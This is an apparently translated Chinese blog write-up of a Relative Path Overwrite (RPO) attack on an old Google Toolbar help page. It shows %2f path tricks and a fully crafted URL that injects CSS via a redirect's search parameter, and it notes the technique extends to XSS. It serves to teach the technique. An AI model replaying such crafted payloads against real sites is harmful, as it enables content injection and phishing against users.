這是我第一次嘗試翻譯一篇漏洞挖掘文章,翻譯它也是爲了加深理解它。這是一篇頗有意思的漏洞挖掘文章。css
前幾天在看fd的博客,偶然看到了這篇文章,雖然有點老了。可是思路真的牛皮。我決定花費時間和精力研究它們。我決定運用我對這個漏洞的理解來說述他們。html
存在漏洞網站地址:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.htmlexpress
查看源代碼api
<html> <head> <title>Google Toolbar API - Guide to Making Custom Buttons</title> <link href="../../styles.css" rel="stylesheet" type="text/css" /> ......
首先咱們無論有沒有rpo漏洞吧,先看最基礎的,代碼是不符合規範的瀏覽器
當我在sublime中輸入<htm而後自動補全服務器
代碼的開頭會有<!DOCTYPE html>dom
瞭解這個很重要,咱們繼續往下說。xss
rpo呢,簡單點來講就是相對路徑覆蓋 ,源碼中引用了相對路徑css文件。ide
那麼咱們要作的就是覆蓋這個css文件,致使css攻擊釣魚 or css-xss攻擊?網站
如今咱們知道,這算符合rpo攻擊的一些條件的 1.沒doctype 2.包含相對路徑
下一步咱們要作什麼?
進行驗證,他是否支持%2f,看看他是如何解析的:
嘗試修改網站爲:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
當咱們再次訪問
咱們發現頁面正常訪問,惟一的缺陷就是css失效了,它並無顯示404
爲何會css樣式會失效?
讓咱們深刻理解他們:
網址輸入http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
服務器的理解:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
瀏覽器的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
css樣式表的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
沒把/改爲%2f以前:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
css樣式表:http://www.google.com/tools/toolbar/style.css
當把/改爲%2f以後http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
css樣式表:http://www.google.com/tools/style.css
這樣會致使style.css不存在,因此沒法加載css樣式表。致使這種問題是由於apis%2fhowto_guide.html被認爲是一個文件,而不是被認爲是apisapis/howto_guide.html一個目錄
如今瀏覽器認爲咱們的目錄是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis。
咱們繼續往前探測,咱們發現它影響/tools/toolbar/buttons/*style.css ,能夠覆蓋他們,可是這範圍過小了。
咱們嘗試建立個fake目錄和..%2ftoolbar
當輸入:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
服務器理解:由於fake和..%2ftoolbar目錄不存在,因此被理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
瀏覽器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
css樣式表:http://www.google.com/tools/fake/style.css
在這裏咱們添加了fake 和..%2ftoolbar虛假目錄,這樣瀏覽器認爲fake和..%2ftoolbar都是目錄,由於他們中間都有/*/,而%2f被理解成了文件。
通過實驗證實,理論上咱們能夠css覆蓋http://www.google.com/*/style.css ,可是咱們再次往上層編碼,發現這是不行的,會出錯。因此css覆蓋止步於:http://www.google.com/tools/*/style.css
如今咱們須要個契機,致使它能css覆蓋成功。 咱們在http://www.google.com/tools/*尋找某個自定義內容的點,但願經過它可以css覆蓋成功。
咱們發現某個接口http://www.google.com/tools/toolbar/buttons/gallery
當咱們訪問這個接口的時候會跳轉到:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1
這個跳轉連接處有個q參數搜索,那麼咱們在接口處http://www.google.com/tools/toolbar/buttons/gallery?q=1
會進行二次跳轉,跳轉到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1
那麼咱們嘗試覆蓋css
在原來接口處http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}
他會跳轉到:
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}
讓咱們查看源代碼:
css代碼成功植入,雖然他不在style樣式表中。
爲何只能使用接口而不能使用跳轉連接進行攻擊?由於咱們的css覆蓋止步於:http://www.google.com/tools/*/style.css
而咱們的跳轉接口在/tools/*下。
如今咱們來利用它:
構造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html
服務器的理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html
瀏覽器的理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html
css樣式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css
而後進行二次跳轉:/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css
發現背景顏色變成了紅色。咱們css覆蓋成功。
如今咱們把改變顏色的代碼變成xss攻擊代碼:ie7下執行
就翻譯到這裏吧。
關於rpo攻擊css地址的payload哪裏來的?參考:http://www.thespanner.co.uk/2014/03/21/rpo/
這我的是做者
RPO攻擊真的是一種被大部分人忽略的攻擊,我的以爲危害很大,其實你們能夠觸類旁通,它不只僅會影響相對路徑css覆蓋,甚至他也能致使相對路徑js覆蓋劫持。我準備下一篇文章翻譯他們。敬請期待。